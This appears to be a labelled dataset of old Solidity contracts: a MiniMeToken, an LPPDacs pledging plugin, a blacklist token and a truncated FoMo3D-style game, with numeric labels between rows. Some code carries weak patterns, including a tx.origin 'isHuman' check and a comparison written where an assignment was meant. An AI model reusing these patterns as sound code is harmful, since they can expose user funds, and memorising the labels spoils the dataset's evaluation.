function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
pragma solidity ^0.4.18;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
pragma solidity ^0.4.17;
contract LPPDacs is Escapable, TokenController {
uint constant FROM_FIRST_DELEGATE = 1;
uint constant TO_FIRST_DELEGATE = 257;
LiquidPledging public liquidPledging;
struct Dac {
MiniMeToken token;
address owner;
}
mapping (uint64 => Dac) dacs;
event GenerateTokens(uint64 indexed idDelegate, address addr, uint amount);
event DestroyTokens(uint64 indexed idDelegate, address addr, uint amount);
function LPPDacs(
LiquidPledging _liquidPledging,
address _escapeHatchCaller,
address _escapeHatchDestination
) Escapable(_escapeHatchCaller, _escapeHatchDestination) public
{
liquidPledging = _liquidPledging;
}
function beforeTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount
) external returns (uint maxAllowed)
{
require(msg.sender == address(liquidPledging));
return amount;
}
function afterTransfer(
uint64 pledgeManager,
uint64 pledgeFrom,
uint64 pledgeTo,
uint64 context,
uint amount
) external
{
require(msg.sender == address(liquidPledging));
var (, toOwner, , toIntendedProject, , , toPledgeState ) = liquidPledging.getPledge(pledgeTo);
var (, fromOwner, , , , , ) = liquidPledging.getPledge(pledgeFrom);
var (toAdminType, toAddr, , , , , , ) = liquidPledging.getPledgeAdmin(toOwner);
Dac storage d;
uint64 idDelegate;
if (context == FROM_FIRST_DELEGATE &&
toIntendedProject == 0 &&
toAdminType == LiquidPledgingBase.PledgeAdminType.Project &&
toOwner != fromOwner &&
toPledgeState == LiquidPledgingBase.PledgeState.Pledged)
{
(idDelegate, , ) = liquidPledging.getPledgeDelegate(pledgeFrom, 1);
d = dacs[idDelegate];
require(address(d.token) != 0x0);
var (, fromAddr , , , , , , ) = liquidPledging.getPledgeAdmin(fromOwner);
d.token.generateTokens(fromAddr, amount);
GenerateTokens(idDelegate, fromAddr, amount);
}
if ( (context == TO_FIRST_DELEGATE) &&
liquidPledging.isProjectCanceled(fromOwner)) {
(idDelegate, , ) = liquidPledging.getPledgeDelegate(pledgeTo, 1);
d = dacs[idDelegate];
require(address(d.token) != 0x0);
if (d.token.balanceOf(toAddr) >= amount) {
d.token.destroyTokens(toAddr, amount);
DestroyTokens(fromOwner, toAddr, amount);
}
}
}
function addDac(
string name,
string url,
uint64 commitTime,
string tokenName,
string tokenSymbol
) public
{
uint64 idDelegate = liquidPledging.addDelegate(
name,
url,
commitTime,
ILiquidPledgingPlugin(this)
);
MiniMeTokenFactory tokenFactory = new MiniMeTokenFactory();
MiniMeToken token = new MiniMeToken(tokenFactory, 0x0, 0, tokenName, 18, tokenSymbol, false);
dacs[idDelegate] = Dac(token, msg.sender);
}
function addDac(
string name,
string url,
uint64 commitTime,
MiniMeToken token
) public
{
uint64 idDelegate = liquidPledging.addDelegate(
name,
url,
commitTime,
ILiquidPledgingPlugin(this)
);
dacs[idDelegate] = Dac(token, msg.sender);
}
function transfer(
uint64 idDelegate,
uint64 idPledge,
uint amount,
uint64 idReceiver
) public
{
Dac storage d = dacs[idDelegate];
require(msg.sender == d.owner);
liquidPledging.transfer(
idDelegate,
idPledge,
amount,
idReceiver
);
}
function getDac(uint64 idDelegate) public view returns (
MiniMeToken token,
address owner
)
{
Dac storage d = dacs[idDelegate];
token = d.token;
owner = d.owner;
}
function proxyPayment(address _owner) public payable returns(bool) {
return false;
}
function onTransfer(address _from, address _to, uint _amount) public returns(bool) {
return false;
}
function onApprove(address _owner, address _spender, uint _amount) public returns(bool) {
return false;
}
} | 0 | 2,207 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenREXC {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => bool) public blacklist;
address admin;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenREXC(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
admin = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
require(!blacklist[msg.sender]);
_transfer(msg.sender, _to, _value);
}
function ban(address addr) public {
require(msg.sender == admin);
blacklist[addr] = true;
}
function enable(address addr) public {
require(msg.sender == admin);
blacklist[addr] = false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(!blacklist[msg.sender]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!blacklist[msg.sender]);
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
require(!blacklist[msg.sender]);
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!blacklist[msg.sender]);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!blacklist[msg.sender]);
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 4,198 |
pragma solidity ^0.4.24;
contract FOMOEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract BATMO is FOMOEvents {
using SafeMath for *;
using NameFilter for string;
using KeysCalc for uint256;
PlayerBookInterface private PlayerBook;
OBOK public ObokContract;
address private admin = msg.sender;
address private admin2;
string constant public name = "BATMO";
string constant public symbol = "BATMO";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 constant private rndInit_ = 2 hours;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 2 hours;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => BATMODatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => BATMODatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => BATMODatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => BATMODatasets.TeamFee) public fees_;
mapping (uint256 => BATMODatasets.PotSplit) public potSplit_;
constructor(address otherAdmin, address token, address playerbook)
public
{
admin2 = otherAdmin;
ObokContract = OBOK(token);
PlayerBook = PlayerBookInterface(playerbook);
fees_[0] = BATMODatasets.TeamFee(47,10);
potSplit_[0] = BATMODatasets.PotSplit(15,10);
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
require (msg.sender == tx.origin);
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
BATMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
BATMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
BATMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
BATMODatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
BATMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
BATMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
BATMODatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
BATMODatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FOMOEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit FOMOEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FOMOEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FOMOEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FOMOEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, BATMODatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, 0, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FOMOEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, BATMODatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, 0, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FOMOEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, BATMODatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_);
endTx(_pID, 0, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook));
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook));
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(BATMODatasets.EventReturns memory _eventData_)
private
returns (BATMODatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
